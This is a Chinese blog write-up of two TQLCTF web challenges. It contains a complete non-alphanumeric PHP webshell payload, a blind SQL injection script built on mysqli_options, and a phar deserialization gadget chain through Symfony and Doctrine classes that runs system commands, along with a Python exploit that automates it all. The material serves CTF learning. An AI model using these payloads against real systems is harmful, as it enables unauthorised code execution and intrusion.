tqlctf复现

tqlctf复现

Simple PHP

确实是一道简单的web签到,但是还是需要一点灵性才行(我最后2h才想到怎么写🤡,555)由于没有环境和源码,就写一些思路吧。首先是好康的那里,抓个包,可以发现能任意文件读取。读取index.php和template.html。关键点:

if (strlen($_POST['user']) > 6){
            echo("<script>alert('Username is too long!');</script>");
        }
        elseif(strlen($_POST['website']) > 25){
            echo("<script>alert('Website is too long!');</script>");
        }
        elseif(strlen($_POST['punctuation']) > 1000){
            echo("<script>alert('Punctuation is too long!');</script>");
        }
        else{
            if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
                if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
                    $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
                    $template = file_get_contents('./template.html');
                    $content = str_replace("__USER__", $_POST['user'], $template);
                    $content = str_replace("__PASS__", $hash_pass, $content);
                    $content = str_replace("__WEBSITE__", $_POST['website'], $content);
                    $content = str_replace("__PUNC__", $_POST['punctuation'], $content);
                    file_put_contents('sandbox/'.$hash_user.'.php', $content);
                    echo("<script>alert('Successed!');</script>");
                }
                else{
                    echo("<script>alert('Invalid chars in website!');</script>");
                }
            }
            else{
                echo("<script>alert('Invalid chars in username!');</script>");
            }
        }

对用户上传的参数进行了一些过滤,意思就是会把输入的东西,替换template.html里面的内容。看一下template.html:

 <?php
                    error_reporting(0);
                    $a = ~"phpinfo()";
                    $user = ((string)__USER__);
                    $pass = ((string)__PASS__);

                    if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
                        echo($_COOKIE['user']);
                    }
                    else{
                        die("<script>alert('Permission denied!');</script>");
                    }
                    ?>

其他的要替换的都在html的标签里面。如果能用php标签<?来包围我们的输入,就可以直接写shell了。但是由于过滤和长度限制,所以搞不了。但是我们发现__USER____PASS__已经就在php代码里面,那说不定可以利用。由于__PASS__是md5的值,不可控。所以只能搞__USER__。除此之外,发现__PUNC__的字符限制有1k,虽然有过滤,我们可以用无数字字母shell,所以总结一下,用__USER____PUNC__包含到php源码里面,就可以getshell了。给一下p神的文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
最终payload:在注册的时候post

user=a/*&pass=a&website=a&punctuation=*/);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__;$_=$$____;$___($_[_]);/*

然后post传_即可getshell

SQL_TEST

挺nb的题目,但是寒假直接开摆了(反正不摆也是不会,毕竟菜的一)。直接去磊子哥博客看wp:https://igml.top/2022/02/20/TQLCTF2022/
居然看懂了,讲道理,他博客写的比我好,建议去那看。orz
看一波源码,有个test控制器:

$con = mysqli_init();
        $key = $request->query->get('key');
        $value = $request->query->get('value');

        if (is_numeric($key) && is_string($value)) {
            mysqli_options($con, $key, $value);
        }

不懂在赣神魔,搜一下mysqli_options


发现MYSQLI_INIT_COMMAND似乎可以执行sql语句,在本地可以看到其值为3。所以可以尝试一波sql注入,只能进行时间盲注。但是我们需要rce,所以得想办法写shell,可以发现不能直接用loadfile进行读文件。但是设置了secure_file_priv,可以用盲注进行获取select @@global.secure_file_priv。这个定义的文件夹是可以读写的,所以直接往这里写shell就行。但是设置在了/tmp目录下,绝b不能解析php文件,所以得想点别的办法。除了写shell,还能用反序列化的方式进行rce,而且给了symfony依赖,十有八九是反序列化。这就需要phar了。没想到要直接找源码和看mysql文档🥲。https://dev.mysql.com/doc/refman/8.0/en/caching-sha2-pluggable-authentication.html

这里有对文件进行操作,然后查一波php源码。在:http://47.96.173.116:8520/php/php-7.4.28/source/ext/mysqlnd/mysqlnd_auth.c#L1122
这个函数里面:

php_stream_open_wrapper可以解析一些php伪协议,所以可以搞一手phar协议。行,那就可以找一波链子(太久没找php链子,有点不会了)。先找一波__destruct,由于有不少__wakeup,所以省了不少功夫。
CacheAdapter.php

public function __destruct()
    {
        $this->commit();
    }

跟进commit():

foreach ($this->deferredItems as $key => $item) {
            $lifetime = ($item->getExpiry() ?? $now) - $now;

这里明显可以触发一个__call,搜一下,发现一个似乎可以利用:RedisProxy.php

public function __call(string $method, array $args)
    {
        $this->ready ?: $this->ready = $this->initializer->__invoke($this->redis);

        return $this->redis->{$method}(...$args);
    }

可以触发__invoke,在Dumper.php即可触发任意函数执行:

public function __invoke($var): string
    {
        return ($this->handler)($var);
    }

起飞,直接把反序列化的东西搞一手:

<?php
namespace Symfony\Component\Console\Helper{
    class Dumper{
        private $handler;
        public function __construct()
        {
            $this->handler = "system";
        }
    }

}
namespace Symfony\Component\Cache\Traits{

    use Symfony\Component\Console\Helper\Dumper;

    class RedisProxy{
        private $redis;
        private $initializer;

        public function __construct()
        {
            $this->initializer = new Dumper();
            $this->redis = "/readflag";
        }
    }
}
namespace Doctrine\Common\Cache\Psr6{

    use Symfony\Component\Cache\Traits\RedisProxy;

    class CacheAdapter{
        private $deferredItems = [];
        public function __construct()
        {
            $this->deferredItems = array(new RedisProxy());
        }
    }
}
namespace {
    $a = new \Doctrine\Common\Cache\Psr6\CacheAdapter();
    $phar = new Phar('test.phar');
    echo MYSQLI_INIT_COMMAND;
    $phar->stopBuffering();
    $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
    $phar->addFromString('test.txt', 'test');
    $phar->setMetadata($a);
    $phar->stopBuffering();
}

然后我们需要写个phar到内个目录里面,然后触发phar即可。在mysqli.php里面可以找到读取公钥文件的设置的定义:


但是好像并不是很能触发。

但是经过尝试发现最终触发失败,回显依然是数据库连接成功。这是因为caching_sha2_password认证方式下服务器端会使用缓存,如果不指定公钥连接就是向服务器请求key,所以一旦请求一次成功连接会保留着缓存,导致不会去加载我们指定的公钥。

然后直接就有教你怎么删除该缓存:https://dba.stackexchange.com/questions/218190/where-is-the-cache-for-the-mysql-caching-sha2-password-auth-plugin-stored
只需要FLUSH PRIVILEGES就行。所以直接贴磊子哥的exp:(优化成二分查找了😢)

import requests, string, random, os, time

url = "http://127.0.0.1:7001"

def req(key, value):
    resp = requests.get(url + "/index.php/test", params={'key': key, 'value': value})
    return resp

def get_secure_file_priv():
    result = ''
    i = 1
    while (1):
        left = 32
        right = 128
        while (1):
            mid = (left + right) // 2
            if left == right:
                result += chr(left)
                print(result)
                i += 1
                break
            payload = 'select if(ascii(substr((select/**/@@global.secure_file_priv),{},1))>{},sleep(1),0)'.format(i,mid)
            time1 = time.time()
            res = req(3, payload)
            time2 = time.time()
            if time2 - time1 >= 1:
                left = mid + 1
            else:
                right = mid
        if (right == 32):
            break
    return result

def exp(secure_file_path):
    filename = "".join(random.sample(string.ascii_letters, 6)) + '.phar'
    file = os.path.join(secure_file_path, filename)

    # write phar file
    hex_data = open("test.phar", "rb").read().hex()
    command = "select 0x{} into dumpfile '{}'".format(hex_data, file)
    req('3', command)

    # check file exists
    command = "select if((ISNULL(load_file('{}'))),sleep(2),1)".format(file)
    if req('3', command).elapsed.seconds > 1.5:
        print("file write fail!")
        exit()

    # clean the cache
    req('3',"FLUSH PRIVILEGES")
    time.sleep(2)

    # trigger unserialize
    resp = req('35', 'phar://' + file)
    print(resp.text)

if __name__ == '__main__':
    # secure_file_path = get_secure_file_priv()
    # print(secure_file_path)
    secure_file_path = '/tmp/18efa7b8dc7b457c1a03ca9ec5e992ce/'
    exp(secure_file_path)

直接开摆

剩下两题复现的并不是很成功(太菜了😿)。建议去看官方wp

TQL_CTF_Official_Writeup

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇